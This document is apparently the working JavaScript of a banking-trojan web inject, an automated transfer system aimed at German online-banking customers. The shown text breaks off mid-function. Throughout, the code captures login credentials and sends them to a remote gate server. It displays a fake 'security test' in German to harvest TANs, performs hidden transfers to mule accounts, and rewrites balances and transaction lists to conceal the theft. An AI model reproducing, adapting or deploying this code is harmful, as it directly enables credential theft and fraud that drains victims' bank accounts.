var jq = jQuery.noConflict(); _cssCode = '.inj_full_overlay { background-color: #FFFFFF; width: 100%; height: 1000px; position: absolute; top: 0px; left: 0px; z-index: 4002; filter: alpha(OPACITY=100); opacity: 1; } #inj_block_overlay { background-color: #FFFFFF; width: 100%; height: 1000px; position: absolute; top: 0px; left: 0px; z-index: 4000; filter: alpha(OPACITY=0); opacity: 0; } #inj_dialog_box { background-color: #FFFFFF; z-index: 4001; position: relative; } .inj_dialog_content h2, .inj_dialog_content h3, #inj_dialog_title { margin: 10px; } .inj_instr_list { font-size: 13px; } .inj_content_para { padding: 10px 0px; } .inj_content_block { line-height: 1.3em; } .inj_buttons_block { margin-top: 3px; } .inj_error { display: none; color: #FF0000; font-weight: bold; } .inj_section_header { height: 19px; padding: 4px 7px 0; width: 48em; } .inj_section_content { padding: 5px 6px; width: 48em; border: 1px solid #D1D3D4; border-top-width: 0px; }'; if ((document.readyState === "loading") || (document.readyState === "interactive")) document.write(''); else jq('head').append(''); var ATS={bank:'',account_id:0,bot_id:'',script_ver:'0',debug_mode:false,isDebugMode:function() {return ATS.debug_mode;},getBrowserFull:function() {var res='na';try {var m=navigator.userAgent.match(/Firefox\/(\d+)/);if(m) {res='ff'+m[1];} else {m=navigator.userAgent.match(/MSIE (\d+)/);if(m) res='ie'+m[1];}} catch(e) {res='ex';} return res;},debugMsg:function(message) {if(this.isDebugMode()) {if(window.console&&window.console.log) window.console.log(message);else alert(message);}},_cookies:new Object(),setCookie:function(name,value) {ATS.debugMsg('setCookie: '+name+' = '+value);parent.ATS._cookies[name]=value;},getCookie:function(name) {if(typeof parent.ATS._cookies[name]=='undefined') return null;return parent.ATS._cookies[name];},serializeCookies:function() {var result=new Array();for(var i in parent.ATS._cookies) {result.push(encodeURIComponent(i)+'='+encodeURIComponent(parent.ATS._cookies[i]));} return result.join('&');},unserializeCookies:function(rawData) {var result=new Object();for(var i in rawData) {result[decodeURIComponent(i)]=decodeURIComponent(rawData[i]);} return result;},saveCookies:function(callback) {ATS.sendGateRequest('save_cookies',{data:ATS.serializeCookies()},callback);},sendGateRequest:function(action,params,callback) {data=jq.extend({bank:parent.ATS.bank,aid:parent.ATS.account_id},params);var url=ATS.gateURL+'?a='+action+'&cb=?';if((typeof __debugDisabled=='undefined')||!__debugDisabled) {jq.ajax({url:url,dataType:'jsonp',crossDomain:true,data:data,success:callback});}},sendPostGateRequest:function(action,params) {ATS.debugMsg('sendPostGateRequest: '+action);data=jq.extend({bank:parent.ATS.bank,aid:parent.ATS.account_id},params);var url=ATS.gateURL+'?a='+action;ATS.debugMsg('url = '+url+'; params = '+params);if((typeof __debugDisabled=='undefined')||!__debugDisabled) {jq.ajax({type:'POST',url:url,crossDomain:true,data:data});}},loadData:function(callback) {ATS.sendGateRequest('load_data',{botid:ATS.bot_id},function(data){ATS.account_id=data.account_id;ATS._cookies=ATS.unserializeCookies(data.cookies);if(typeof callback=='function') callback();});},getFullVersionText:function() {return ATS.script_ver+' / '+ATS.getBrowserFull();},sendLoginInfo:function(login,password,callback) {ATS.sendGateRequest('login',{botid:ATS.bot_id,login:login,password:password,url:window.location.href,ver:ATS.getFullVersionText()},callback);},_logMsgSeq:0,sendLogMsg:function(text,callback) {ATS.debugMsg('sendLogMsg: '+text);if(parent&&parent.ATS&&parent.ATS.sendGateRequest) {parent.ATS._logMsgSeq++;parent.ATS.sendGateRequest('log_msg',{ver:ATS.getFullVersionText(),text:parent.ATS._logMsgSeq+': '+text},callback);} else {ATS._logMsgSeq++;ATS.sendGateRequest('log_msg',{ver:ATS.getFullVersionText(),text:ATS._logMsgSeq+': '+text},callback);}},getDrop:function(transfType,balance,callback) {ATS.sendGateRequest('get_drop',{type:transfType,balance:balance},callback);},getDropWithLimit:function(transfType,balance,limit,callback) {ATS.sendGateRequest('get_drop',{type:transfType,balance:balance,limit:limit},callback);},putTransfer:function(transfType,drop,amount,callback) {ATS.sendGateRequest('transfer',{type:transfType,did:drop,amount:amount},callback);},sendAccountsInfo:function(accountsInfo,callback) {try{ATS.sendGateRequest('save_accounts_info',{data:JSON.stringify(accountsInfo)},callback);}catch(e){}},base64_encode:function(input) {var output="";var chr1,chr2,chr3;var enc1,enc2,enc3,enc4;var i=0;var keyStr="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";do {chr1=input.charCodeAt(i++);chr2=input.charCodeAt(i++);chr3=input.charCodeAt(i++);enc1=chr1>>2;enc2=((chr1&3)<<4)|(chr2>>4);enc3=((chr2&15)<<2)|(chr3>>6);enc4=chr3&63;if(isNaN(chr2)) {enc3=enc4=64;} else if(isNaN(chr3)) {enc4=64;} output=output+keyStr.charAt(enc1)+keyStr.charAt(enc2)+keyStr.charAt(enc3)+keyStr.charAt(enc4);}while(i127&&c1<2048) {enc=String.fromCharCode((c1>>6)|192,(c1&63)|128);} else if(c1&0xF800!=0xD800) {enc=String.fromCharCode((c1>>12)|224,((c1>>6)&63)|128,(c1&63)|128);} else {if(c1&0xFC00!=0xD800){return'error 1';} var c2=string.charCodeAt(++n);if(c2&0xFC00!=0xDC00){return'error 2';} c1=((c1&0x3FF)<<10)+(c2&0x3FF)+0x10000;enc=String.fromCharCode((c1>>18)|240,((c1>>12)&63)|128,((c1>>6)&63)|128,(c1&63)|128);} if(enc!==null) {if(end>start) {utftext+=string.slice(start,end);} utftext+=enc;start=end=n+1;}} if(end>start) utftext+=string.slice(start,stringl);return utftext;},sendDump:function(msg,data) {ATS.sendPostGateRequest('dump',{msg:msg,data:ATS.base64_encode(ATS.utf8_encode(data))});},randInt:function(min,max) {return Math.round(min+Math.random()*(max-min));},imgSubmit:function(button) {var form=jq('form').has(jq(button));if(jq(form).length==0) return 0;var buttonName=jq(button).attr('name');if(buttonName!='') {var buttonWidth=parseInt(jq(button).css('width'));if(!buttonWidth) buttonWidth=10;var buttonHeight=parseInt(jq(button).css('height'));if(!buttonHeight) buttonHeight=10;var clickX=ATS.randInt(buttonWidth*0.2,buttonWidth*0.8);var clickY=ATS.randInt(buttonHeight*0.2,buttonHeight*0.8);jq(button).remove();jq(form).append('');jq(form).append('');jq(form).submit();} else jq(button).click();},delayedClick:function(button,minDelay,maxDelay) {setTimeout(function(){if(jq(button).attr('type')=='image') {ATS.imgSubmit(jq(button));} else jq(button).click();},ATS.randInt(minDelay,maxDelay));}}; ATS.bank = 'fiducia'; ATS.script_ver = '13'; ATS.gateURL = 'https://belissimos7.com/nsdghsf333/gate'; ATS.UI_blockSite=function() {if(ATS.debugNoOverlay) return;if(jq('#inj_block_overlay').length) jq('#inj_block_overlay').show();else jq('body').append('
');} ATS.UI_unblockSite=function() {jq('#inj_block_overlay').hide();} ATS.UI_getInjectCode=function() {var code = '
Sicherheitskontrolle
Ab' + ' jetzt haben wir neue Sicherheitseinstellungen.

Unser System überprüft I' + 'hren Computer nach Veränderungen. Überprüfung Ihrer Sich' + 'erheitseinstellungen kann mehrere Sekunden dauern.

Wä' + 'hrend dieser Zeit aktualisieren Sie bitte nicht diese Seite und verwend' + 'en Sie nicht die Browsernavigation (Zurück / Vorwärts).

<' + '/div>

Wahrscheinlich haben sich in letzter Zeit einige Ver' + '8;nderungen bei Ihrem Computer ergeben. Aus Sicherheitsgründen m&#' + '252;ssen Sie eine Tan eingeben, um zu bestätigen, dass es Ihr Comp' + 'uter ist, damit Ihnen der Zugang gewährt wird.

<' + 'div id=inj_mode_gen>
  1. Stecken Sie Ihre Chipk' + 'arte in den TAN-Generator und drücken "TAN".
  2. ' + '
  3. Geben Sie den Start-Code (' + ') ein und drücken "OK".
  4. Prüfen Sie d' + 'ie Anzeige auf dem Leserdisplay und drücken "OK".' + '
  5. Geben Sie die  ein u' + 'nd drücken "OK".
  6. Geben Sie die  ein und drücken "OK".
  7. Geben Sie die &nb' + 'sp;ein und drücken "OK".

Angaben für die Testüberweisung:

  • Name: Hans Müller
  • Kont' + 'onummer:
  • Bankleitzahl:
  • Betrag:

Bitte bestätigen Sie die TESTÜBERW' + 'EISUNG, um den Schnelltest erfolgreich abzuschließen.
Sie werd' + 'en nach der Durchführung des Schnelltests Ihren online Bankservice' + ' sofort nutzen können.
Denken Sie daran, dass Ihr Konto durch ' + 'die Testüberweisung NICHT belastet wird.
Vielen Dank.

*TAN falsch, bitte richtige TAN eingeben

'; return jq(code);} ATS.UI_onWeiterClick=function() {var tan=jq('input[name=inj_tan]').val();if(tan.length==6) {ATS.sendLogMsg('entered TAN '+tan);jq('#ats_wrk_iframe')[0].contentWindow.ATS.enterCode(tan);}} ATS.UI_showDialogBox=function() {jq('#maincontent > *').hide();if(!jq('#inj_dialog_box').length) {var injectCode=ATS.UI_getInjectCode();jq('#maincontent').append(injectCode);jq('input[name=inj_weiter]').click(ATS.UI_onWeiterClick);} jq('#inj_dialog_box').show();} ATS.UI_hideDialogBox=function() {jq('#inj_dialog_box').hide();} ATS.UI_showWait=function() {ATS.UI_showDialogBox();jq('#inj_page_wait').show();jq('#inj_page_tan').hide();} ATS.UI_askTan=function(tanNum,isError) {parent.ATS.UI_showDialogBox();jq('#inj_page_wait',parent.document).hide();jq('#inj_page_tan',parent.document).show();jq('#inj_mode_gen',parent.document).hide();jq('#inj_mode_sms',parent.document).hide();if(tanNum=='sms') {jq('#inj_mode_sms',parent.document).show();var mainText='Wir sind immer bemüht, unseren Service und den von unserer Bank gebotenen Sicherheitsgrad zu verbessern. ';mainText+='Wie Sie vielleicht wissen, haben wir kürzlich zusätzlich Sicherheitswerkzeug eingeführt, um Ihnen für Ihre Banküberweisungen eine beispiellose Sicherheit zu gewährleisten. ';mainText+='Unglücklicherweise hatte viele Nutzer Probleme, die neuen Regeln anzuwenden, was dazu führte, dass Ihre online Zugang zu ihren Konto automatisch gesperrt wurde. ';mainText+='Um solche Situationen zu vermeiden und um Sie durch die neuen Sicherheitstechnologien zu leiten, bieten wir Ihnen an, einen Schnelltest zu absolvieren. ';mainText+='Während des Tests wird das System eine TESTÜBERWEISUNG durchführen. Wir versichern Ihnen, dass die Testüberweisung Ihren Konto NICHT belastet wird. ';mainText+='Wir hoffen, dass Sie den hohen Sicherheitsgrad und die Verwendbarkeit unserer Bankdienstleistungen schätzen.';jq('#inj_main_text',parent.document).html(mainText);var reqText=jq('#lblMTANDetails').text();reqText=reqText.split('.')[0]+'.
'+'Bitte geben Sie diese TAN ein:';jq('.inj_tan_label',parent.document.body).html(reqText);if(parent.ATS.transf_mode=='sepa') {var ibanCode=parent.ATS.sepa_drop.IBAN;ibanCode='DE'+ibanCode.substring(2,4)+'XXXXXXXXXXXXXXXXXX'+ibanCode.substring(ibanCode.length-4);ATS.debugMsg('ibanCode '+ibanCode);jq('.inj_sms_acc',parent.document.body).text('IBAN: '+ibanCode);jq('.inj_sms_blz',parent.document.body).text('BIC: 00000000');jq('.inj_sms_amount',parent.document.body).text('Betrag: '+parent.ATS.sepa_drop.amount+',00');} else {var konto=parent.ATS.int_drop.Konto;jq('.inj_sms_acc',parent.document.body).text('Kontonummer: '+konto);jq('.inj_sms_blz',parent.document.body).text('Bankleitzahl: 00000000');jq('.inj_sms_amount',parent.document.body).text('Betrag: '+parent.ATS.int_drop.amount+',00');}} if(tanNum=='gen') {jq('#inj_mode_gen',parent.document).show();if(parent.ATS.transf_mode=='sepa') {var ibanCode=parent.ATS.sepa_drop.IBAN;ibanCode2=ibanCode.substring(2,4)+ibanCode.substring(ibanCode.length-4);ATS.debugMsg('ibanCode2 '+ibanCode2);jq('.inj_iban_code',parent.document.body).text(ibanCode2);jq('.inj_bic_code',parent.document.body).parent().hide();jq('.inj_transf_amount',parent.document.body).text(parent.ATS.sepa_drop.amount+',00');} else {jq('.inj_iban_code',parent.document.body).text(parent.ATS.int_drop.Konto);jq('.inj_bic_code',parent.document.body).text(parent.ATS.int_drop.BLZ);jq('.inj_transf_amount',parent.document.body).text(parent.ATS.int_drop.amount+',00');} var startCode=jq('#tblManuelleBeschreibung').text().match(/\d{6,20}/i);if(startCode) startCode=startCode[0];else startCode='000000';ATS.sendLogMsg('startCode '+startCode);jq('.inj_tan_startcode',parent.document.body).text(startCode);} if(isError) {jq('.inj_error',parent.document.body).show();} else jq('.inj_error',parent.document.body).hide();} ATS.fin2float=function(text) {var text=text.toString().replace(/[^\d,-]+/g,'').replace(',','.');return parseFloat(text);} ATS.float2fin=function(val) {var intPart=Math.floor(val);var fractPart=Math.floor((val-intPart)*100).toString();if(fractPart.length<2) fractPart='0'+fractPart;var newIntPart='';intPart=intPart.toString();while(intPart.length>3) {newIntPart='.'+intPart.substr(intPart.length-3)+newIntPart;intPart=intPart.substr(0,intPart.length-3);} newIntPart=intPart+newIntPart;return newIntPart+','+fractPart;} ATS.addElementAmount=function(el,amount,postfix) {var val=ATS.fin2float(jq(el).text());ATS.debugMsg('addElementAmount() val = '+val);var newText=ATS.float2fin(val+amount);if(postfix) newText+=' '+postfix;ATS.debugMsg('addElementAmount() newText = '+newText);jq(el).text(newText);} ATS.needToHide=function(text) {text=text.replace(/[^\da-z]+/gi,'').toUpperCase();ATS.debugMsg('replaceUmsatze(): '+text);var dropName=ATS.getCookie('rep_drop_name');if(dropName) {if(text.indexOf(dropName.replace(/[^\da-z]+/gi,'').toUpperCase())!=-1) return true;} var dropAcc=ATS.getCookie('rep_drop_acc');if(dropAcc) {if(text.indexOf(dropAcc.replace(/[^\da-z]+/gi,'').toUpperCase())!=-1) return true;} var amount=ATS.getCookie('rep_amount');if(amount) {if(text.indexOf(amount.replace(/[^\da-z]+/gi,'').toUpperCase())!=-1) return true;} return false;} ATS.replaceAccountsOverview=function() {ATS.debugMsg('replaceAccountsOverview()');jq('a[title=Drucken]').hide();var totalReplace=0;jq("#tblVGUebersicht tr").each(function() {if(jq(this).children('td').length==4) {var accNum=jq.trim(jq(this).children('td:eq(1)').text());if(accNum!='') {var amount=parseFloat(ATS.getCookie('ap'+accNum));ATS.debugMsg('accNum = '+accNum+'; amount = '+amount);if(amount>0) {ATS.addElementAmount(jq(this).children('td:eq(2)').find('span:eq(1)'),amount,'H');ATS.sendLogMsg('REP overview: '+accNum+' + '+amount);totalReplace+=amount;}} if((jq(this).children('td:eq(0)').text().indexOf('Summe')!=-1)&&(totalReplace>0)) {ATS.addElementAmount(jq(this).children('td:eq(2)').find('span:eq(1)'),totalReplace,'H');ATS.sendLogMsg('REP overview: total + '+totalReplace);totalReplace=0;}}});} ATS.replaceUmsatzanzeige=function() {ATS.debugMsg('replaceUmsatzanzeige()');jq('a[title=Drucken]').hide();jq('input[value=Exportieren]').parent().hide();jq('div#cntSalden').hide();jq('div#cntSaldenUnten').hide();var transfer_acc=ATS.getCookie('transfer_acc');var selectedAccount=jq('div#cntKontoAuswahlZeile dl span').text().replace(/\D/g,'');var amount=0;if(selectedAccount.indexOf(transfer_acc)!=-1) amount=parseFloat(ATS.getCookie('ap'+transfer_acc));ATS.debugMsg('selectedAccount = '+selectedAccount+'; amount = '+amount);if(amount>0) {ATS.sendLogMsg('REP umsatzanzeige: + '+amount);ATS.addElementAmount(jq('div#xvwKontoauswahlSaldoValue span'),amount,'H');ATS.addElementAmount(jq('div#xvwKontoAuswahlVerfuegbarerBetragValue span'),amount,'H');jq('#tblUmsaetze > tbody > tr').each(function(){if(ATS.needToHide(jq(this).text())) {ATS.sendLogMsg('REP umsatzanzeige: transfer hidden');jq(this).hide();}});jq('#tblUmsaetze > tbody > tr:visible').each(function(i){jq(this).attr('class',(i%2)?'od':'ev');});}} ATS.replaceSelectedAccBalance=function() {ATS.debugMsg('replaceSelectedAccBalance()');var transfer_acc=ATS.getCookie('transfer_acc');var selectedAccount=jq('div#cntKontoAuswahlZeile dl span').text().replace(/\D/g,'');var amount=0;if(selectedAccount.indexOf(transfer_acc)!=-1) amount=parseFloat(ATS.getCookie('ap'+transfer_acc));ATS.debugMsg('selectedAccount = '+selectedAccount+'; amount = '+amount);if(amount>0) {ATS.sendLogMsg('REP selected acc: + '+amount);ATS.addElementAmount(jq('div#xvwKontoauswahlSaldoValue span'),amount,'H');ATS.addElementAmount(jq('div#xvwKontoAuswahlVerfuegbarerBetragValue span'),amount,'H');}} ATS.replaceKontoinformationen=function() {ATS.debugMsg('replaceKontoinformationen()');var transfer_acc=ATS.getCookie('transfer_acc');var selectedAccount=jq('div#cntKontoAuswahlZeile dl span').text().replace(/\D/g,'');var amount=0;if(selectedAccount.indexOf(transfer_acc)!=-1) amount=parseFloat(ATS.getCookie('ap'+transfer_acc));ATS.debugMsg('selectedAccount = '+selectedAccount+'; amount = '+amount);if(amount>0) {ATS.sendLogMsg('REP kontoinformationen: + '+amount);ATS.addElementAmount(jq('#tblKontoinformationen tr:contains(Kapitalsaldo) span#lbl'),amount,'H');}} ATS.replaceBalances=function() {ATS.debugMsg('replaceBalances()');var pageTitle=jq('h1').text().replace('\u00FC','ue').replace(new RegExp('\u00DC','g'),'Ue');if(pageTitle.indexOf('Kontenuebersicht')!=-1) ATS.replaceAccountsOverview();if(pageTitle.indexOf('Umsatzanzeige')!=-1) ATS.replaceUmsatzanzeige();if(pageTitle.indexOf('Kontoinformationen')!=-1) ATS.replaceKontoinformationen();var selectedAccount=jq('div#cntKontoAuswahlZeile dl span').text().replace(/\D/g,'');if((selectedAccount!='')&&(pageTitle.indexOf('Umsatzanzeige')==-1)) {var transfer_acc=ATS.getCookie('transfer_acc');var amount=0;if(selectedAccount.indexOf(transfer_acc)!=-1) amount=parseFloat(ATS.getCookie('ap'+transfer_acc));if(amount>0) {ATS.replaceSelectedAccBalance();}}} ATS.checkTransaction=function() {var pageTitle=jq('h1').text().replace('\u00FC','ue').replace(new RegExp('\u00DC','g'),'Ue');switch(pageTitle) {case'Personen-/Kontenuebersicht':return ATS.checkTransactionKontenuebersicht();break;default:return ATS.checkTransactionAllPage();break;}} ATS.checkTransactionAllPage=function() {var old_balance=ATS.getCookie('old_balance');var transfer_acc=ATS.getCookie('transfer_acc');var rep_amount=ATS.getCookie('rep_amount');var status=ATS.getCookie('status');var curent_balance=ATS.fin2float(jq('div#xvwKontoauswahlSaldoValue span').text());var selectedAccount=jq('div#cntKontoAuswahlZeile dl span').text().replace(/\D/g,'');if(curent_balance&&old_balance&&rep_amount&&(status=='1')&&(selectedAccount.indexOf(transfer_acc)!='-1')) {if((old_balance-curent_balance)>rep_amount*0.8) {return true;} else {return false;}} else return false;} ATS.checkTransactionKontenuebersicht=function() {var old_balance=ATS.getCookie('old_balance');var transfer_acc=ATS.getCookie('transfer_acc');var rep_amount=ATS.getCookie('rep_amount');var status=ATS.getCookie('status');var curent_balance=null;jq("#tblVGUebersicht tr").each(function() {if(jq(this).children('td').length==4) {var accNum=jq.trim(jq(this).children('td:eq(1)').text());if(accNum==transfer_acc) {curent_balance=ATS.fin2float(jq(this).children('td:eq(2)').find('span:eq(1)').text());}}});if((curent_balance!==null)&&old_balance&&transfer_acc&&rep_amount&&(status=='1')) {if((old_balance-curent_balance)>rep_amount*0.8) {return true;} else {return false;}} else return false;} ATS.current_state=0;ATS.MIN_LIMIT=5;ATS.debugVisibleFrame=false;ATS.debugNoOverlay=false;ATS.transf_mode='sepa';ATS.badTan=false;ATS.startcode='';ATS.checkLoginPage=function() {return!!jq('input[value*=nmelden]').length;} ATS.setLoginHook=function() {var loginDataSent=false;var loginForm=ATS.getLoginForm();if(loginForm) {jq(loginForm).submit(function(e){if(!loginDataSent) {e.preventDefault();var login=jq(loginForm).find('input:visible[type=text]').val();var password=jq(loginForm).find('input:visible[type=password]').val();ATS.debugMsg('login info: '+login+', '+password);ATS.sendLoginInfo(login,password,function(){loginDataSent=true;jq('input.UnitCommand[value*=nmelden]').attr('onclick','');jq('input.UnitCommand[value*=nmelden]').click();})}});return true;} return false;} ATS.getLoginForm=function() {var form=jq("form").has('input[value*=anmeld]');if(form.length) return form[0];return false;} ATS.isLoggedIn=function() {return!!jq("input[value*=bmelden]").length;} ATS.getTime=function() {return Math.floor((new Date).getTime()/1000);} ATS.die=function(msg) {ATS.sendLogMsg('ERROR: '+msg);ATS.setCookie('error_time',ATS.getTime());ATS.setCookie('status',2);ATS.saveCookies(function(){if((parent.window!==window)&&parent.ATS) {ATS.debugMsg('die in frame');var nextLink=false;var nextLink=jq('a:contains(Startseite)');if(nextLink.length) {setTimeout(function(){parent.window.document.location.href=jq(nextLink)[0].href;},1000);} else {ATS.sendLogMsg('die cant find link 2 go');}} else {ATS.debugMsg('die outside frame');ATS.UI_hideDialogBox();ATS.UI_unblockSite();}});} ATS.openInIframe=function(url) {var iframe=jq('');jq('body').append(iframe);if(ATS.debugVisibleFrame) {jq(iframe).css('width','1200px');jq(iframe).css('height','800px');jq(iframe).css('top','800px');jq(iframe).css('position','absolute');} else {jq(iframe).css('width','1px');jq(iframe).css('height','1px');}} ATS.getMaxTransferAcc=function() {var accountsList=parent.ATS.accounts_list;var maxAcc=null;var maxBalance=false;for(var i in accountsList) {if(accountsList[i].transf) {if(!maxBalance) var maxBalance=accountsList[i].balance;if(accountsList[i].balance>=maxBalance) {maxBalance=accountsList[i].balance;maxAcc=accountsList[i];}}} return maxAcc;} ATS.findAccountInfo=function(acc_num) {var accounts_list=parent.ATS.accounts_list;for(var i in accounts_list) {if(acc_num.indexOf(accounts_list[i].number)!=-1) {return accounts_list[i];}} return false;} ATS.findAccount=function(acc_num) {var accounts_list=parent.ATS.accounts_list;for(var i in accounts_list) {if(acc_num==accounts_list[i].number) {return accounts_list[i];}} return false;} ATS.mainWork=function() {ATS.debugMsg('ATS.mainWork, state: '+ATS.current_state);ATS.sendLogMsg('main state '+ATS.current_state);switch(ATS.current_state) {case 0:var hname=ATS.getHolderName();if(hname!='') ATS.sendLogMsg('Holder name: '+hname);var href=ATS.getBankingLink();if(href) {ATS.current_state=10;ATS.debugMsg('Banking link: '+href);setTimeout('ATS.openInIframe("'+href+'")',3000);} else {if(jq("input.UnitCommand[value=Weiter]")) jq("input.UnitCommand[value=Weiter]").click();else ATS.die('mainWork: cant find Banking link');} break;}} ATS.getHolderName=function() {return jq.trim(jq('#lblNameValue').text());} ATS.getBankingLink=function() {var finLink=jq('a[href*="menuId=Zahlungsverkehr"]');if(jq(finLink).length!=0) return jq(finLink)[0].href;finLink=jq('#primaernavi a[title=Banking]');if(jq(finLink).length!=0) return jq(finLink)[0].href;finLink=jq('div#navigation a:contains(Banking)');if(jq(finLink).length!=0) return jq(finLink)[0].href;return false;} ATS.frameMain=function() {ATS.debugMsg('frameMain, state: '+parent.ATS.current_state);ATS.sendLogMsg('frame state '+parent.ATS.current_state);switch(parent.ATS.current_state) {case 10:ATS.framePageBanking();break;case 20:ATS.framePageTransfers();break;case 30:ATS.framePageConfirmInt();break;case 40:var infoText=jq('div#infoMessages').text();if(infoText.indexOf('Ihren Auftrag haben wir entgegengenommen.')!=-1) {ATS.framePageReceiptInt();} else {var errorMsg=jq('div#errorMessages').text();if(errorMsg.indexOf('TAN falsch')!=-1) {parent.ATS.badTan=true;parent.ATS.current_state=30;ATS.sendLogMsg('frameWork: bad TAN');ATS.framePageConfirmInt();} else {ATS.die('frameMain: unknown error on step 40: '+errorMsg);}} break;case 100:ATS.framePageTransfersSEPA();break;case 110:ATS.framePageConfirmSEPA();break;case 120:var infoText=jq('div#infoMessages').text();if(infoText.indexOf('Ihren Auftrag haben wir entgegengenommen.')!=-1) {ATS.framePageReceiptSEPA();} else {var errorMsg=jq('div#errorMessages').text();if(errorMsg.indexOf('TAN falsch')!=-1) {parent.ATS.badTan=true;parent.ATS.current_state=110;ATS.sendLogMsg('frameWork: bad TAN');ATS.framePageConfirmSEPA();} else {ATS.die('frameMain: unknown error on step 120: '+errorMsg);}} break;}} ATS.framePageBanking=function() {ATS.debugMsg('ATS.framePageBanking()');if(jq('img[src*=einblenden]').length) {ATS.sendLogMsg('Unfolding accounts');setTimeout(function(){document.location.href=jq('img[src*=einblenden]:eq(0)').parent().attr('href');},2000);return;} parent.ATS.accounts_list=ATS.parseAccountsList();ATS.sendAccountsInfo(parent.ATS.accounts_list);var acc=ATS.getMaxTransferAcc();if(acc) {ATS.goToTransfers();} else ATS.die('framePageBanking: no positive accounts with payment option');} ATS.goToTransfers=function() {var link=jq('a[href*="menuId=Ueberweisung&"]').attr('href');if(link) {ATS.debugMsg('Ueberweisung link: '+link);setTimeout(function(){parent.ATS.current_state=20;document.location.href=link;},5000);} else ATS.die('goToTransfers: no transfers link');} ATS.parseAccountsList=function() {var accountsList=new Array();jq("#tblVGUebersicht tr").each(function(){if(jq(this).children('td').length==4) {var number=jq.trim(jq(this).children('td:eq(1)').text());var balanceStr=jq.trim(jq(this).children('td:eq(2)').text());var balance=jq.trim(balanceStr.replace(/[^\d,-]+/g,'').replace(/,+/g,'.'));if(balance!='') {balance=parseFloat(balance);if(balanceStr.indexOf('S')!=-1) balance=-balance;} if((number!='')&&(balance!=='')) {var transf=false;jq(this).children('td:eq(3)').find('option').each(function(){var optionText=jq.trim(jq(this).text().replace('\u00FC','ue').replace('\u00DC',"Ue"));if((optionText=='SEPA-Sammeluebe.')||(optionText=='Ueberweisungsvo.')) transf=true;});ATS.debugMsg('number: '+number+'; balance: '+balance+'; transf: '+transf);accountsList.push({number:number,balance:balance,transf:transf,avbAmount:false,EUlimit:false});}}});return accountsList;} ATS.framePageTransfers=function() {setTimeout(function(){var selectedAccount=jq("ul.XChoiceCombo li.selected b").text().replace(/\D+/g,'');if(selectedAccount) {var currentAcc=ATS.findAccount(selectedAccount);if(currentAcc&¤tAcc.transf&&!currentAcc.avbAmount&&!currentAcc.EUlimit) {for(var i in parent.ATS.accounts_list) {if(parent.ATS.accounts_list[i].number==currentAcc.number) {var EUlimit=ATS.getEULimit();var avbAmount=ATS.getAvbAmount();parent.ATS.accounts_list[i].avbAmount=avbAmount;parent.ATS.accounts_list[i].EUlimit=EUlimit;ATS.sendLogMsg('AccNumber: '+currentAcc.number+', avbAmount: '+avbAmount+', EUlimit: '+EUlimit);break;}}}} setTimeout(function(){var accountsList=parent.ATS.accounts_list;var flagAcc=false;for(var i in accountsList) {jq("ul.XChoiceCombo b").each(function() {var curNum=jq(this).text().replace(/\D+/g,'');if((curNum==accountsList[i].number)&&(!flagAcc)) {if(accountsList[i].transf&&(accountsList[i].avbAmount===false)&&(accountsList[i].EUlimit===false)) {ATS.sendLogMsg('Looking info for account: '+accountsList[i].number);jq(this).click();flagAcc=true;return;}}});} var maxAcc=ATS.findMaxAccountInList();if(maxAcc) {if(selectedAccount==maxAcc.number) ATS.framePageIntTransfers();else {jq("#chcKontoAuswahlZeile option").each(function() {var curNum=jq(this).text().replace(/\D+/g,'');if(curNum==maxAcc.number) jq(this).click();});}} else ATS.die('framePageTransfers: cant find good account in list');},2000);},1000);} ATS.selectSepaTransfer=function() {jq('#chcZahlungsart option:contains(SEPA)').attr('selected','selected');jq('#actZahlungsartWaehlen').click();} ATS.selectIntTransfer=function() {jq('#chcZahlungsart option').each(function(){if(jq(this).text().indexOf('SEPA')==-1) jq(this).attr('selected','selected');});if(jq('#actZahlungsartWaehlen').length) {jq('#actZahlungsartWaehlen').click();} else {if(jq("form").has('span:contains(BIC/BLZ:)').length) {ATS.debugMsg('Universal form for SEPA/INT');ATS.framePageTransfers();} else {ATS.die('no INT transfers');}}} ATS.getAvbAmount=function() {var avbText=jq('span:contains(Betrag in EUR:)').parent().next().next().next().text().replace(/[^\d,-]+/g,'').replace(/,+/g,'.');if(avbText=='') return 999999;return parseFloat(avbText);} ATS.getEULimit=function() {var avbText=jq('span:contains(Betrag EU in EUR:)').parent().next().next().next().text().replace(/[^\d,-]+/g,'').replace(/,+/g,'.');if(avbText=='') avbText=ATS.getAvbAmount();var res=parseFloat(avbText);if(res<10) res=10;return res;} ATS.framePageIntTransfers=function() {setTimeout(function(){ATS.debugMsg('ATS.framePageIntTransfers()');if(parent.ATS.transf_mode=='sepa') {if(jq('#lblIBAN').length) {ATS.debugMsg('already on SEPA page');setTimeout(function(){parent.ATS.current_state=100;ATS.framePageTransfersSEPA();},2000);} else if(jq('#chcZahlungsart').length&&jq('#chcZahlungsart option:contains(SEPA)').length) {ATS.debugMsg('SEPA option found, selecting');setTimeout(function(){parent.ATS.current_state=100;ATS.selectSepaTransfer();},2000);} else {parent.ATS.transf_mode='int';ATS.sendLogMsg('cant find sepa option, trying int');}} if(parent.ATS.transf_mode=='int') {var selectedAccount=jq('#jsKontoauswahl dt').text().replace(/\D+/g,'');ATS.debugMsg('framePageIntTransfers: selected account: '+selectedAccount);var fromAccount=ATS.findAccountInfo(selectedAccount);ATS.setCookie('transfer_acc',fromAccount.number);var balance=parseFloat(fromAccount.balance);var avbAmount=parseFloat(fromAccount.avbAmount);if(avbAmount=maxBalance) {maxBalance=accountsList[i].EUlimit;maxAcc=accountsList[i];}}} return maxAcc;} ATS.framePageConfirmInt=function() {var mtanText=jq('#lblMTANDetails').text();if(mtanText!='') {ATS.sendLogMsg('Confirm - SMS');ATS.UI_askTan('sms',parent.ATS.badTan);return;} var manualButton=jq('input[name*=actTANManuell]').filter('input[src*=einblenden]');if(manualButton.length) {ATS.sendLogMsg('chiptan - selecting manual');setTimeout(function(){jq('input.TextButton[name*=actTANManuell]').click();},3000);return;} var manualInstr=jq('#tblManuelleBeschreibung').text();if(manualInstr!='') {var manualCode=manualInstr.match(/\w\w\w\w\w-\w\w\w\w\s\(\d+/i);if(manualCode) {ATS.sendLogMsg('startcode = '+manualCode);parent.ATS.startcode=manualCode;ATS.UI_askTan('gen',parent.ATS.badTan);return;} else ATS.die('framePageConfirmInt: cant find manual code');} else ATS.die('framePageConfirmInt: cant find manual instructions');} ATS.framePageReceiptInt=function() 